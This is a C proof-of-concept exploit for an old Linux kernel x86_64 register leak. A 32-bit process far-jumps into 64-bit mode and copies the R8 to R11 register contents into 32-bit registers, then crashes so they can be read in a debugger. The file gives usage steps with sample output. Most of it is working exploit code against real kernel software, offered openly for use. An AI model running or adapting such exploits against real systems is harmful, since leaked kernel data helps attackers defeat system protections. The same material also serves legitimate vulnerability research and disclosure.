/* * x86_64-reg-leak.c * * Linux Kernel <= 2.6.32-rc1 x86_64 Register Leak * Jon Oberheide * http://jon.oberheide.org * * Information: * * http://lkml.org/lkml/2009/10/1/164 * * While 32-bit processes can't directly access R8...R15, they can gain * access to these registers by temporarily switching themselves into 64-bit * mode. * * Usage: * * $ gcc -m32 x86_64-reg-leak.c -o x86_64-reg-leak * $ gdb ./x86_64-reg-leak * GNU gdb 6.8-debian * ... * (gdb) run * [+] Switching to x86_64 long mode via far jmp... * ... * Program received signal SIGSEGV, Segmentation fault. * 0xdeadbeef in ?? () * (gdb) info reg * eax 0xffff8800 -30720 <-- r8 upper * ecx 0xa5cc6000 -1513332736 <-- r8 lower * edx 0x0 0 <-- r9 upper * ebx 0x1 1 <-- r9 lower * esp 0xffff8800 0xffff8800 <-- r10 upper * ebp 0xa5cc6000 0xa5cc6000 <-- r10 lower * esi 0x0 0 <-- r11 upper * edi 0xffffffff -1 <-- r11 lower * ... * * Notes: * * We switch from x86_64 compat mode to long mode via our far jmp and * then dump out r8-r11 through our 32-bit GPRs and then segfault for * register inspection via GDB. */ #include #include #include #include #define USER_CS "0x33" #define USER_DS "0x2b" int main(void) { int ret; printf("[+] Switching to x86_64 long mode via far jmp...\n\n"); for (ret = 5; ret > 0; ret--) { printf("%d...\n", ret); sleep(1); } printf("\n"); sleep(3); asm volatile ( " .code32 \n" " ljmp $" USER_CS ", $1f \n" " \n" " .code64 \n" " 1: \n" " movl $" USER_DS ", %%eax \n" " movl %%eax, %%ds \n" " movl %%eax, %%ss \n" " movl %%eax, %%es \n" " \n" " movq %%r8, %%rcx \n" " shr $32, %%r8 \n" " movq %%r8, %%rax \n" " \n" " movq %%r9, %%rbx \n" " shr $32, %%r9 \n" " movq %%r9, %%rdx \n" " \n" " movq %%r10, %%rbp \n" " shr $32, %%r10 \n" " movq %%r10, %%rsp \n" " \n" " movq %%r11, %%rdi \n" " shr $32, %%r11 \n" " movq %%r11, %%rsi \n" " \n" " .code32 \n" " jmp 0xdeadbeef \n" :: ); return 0; }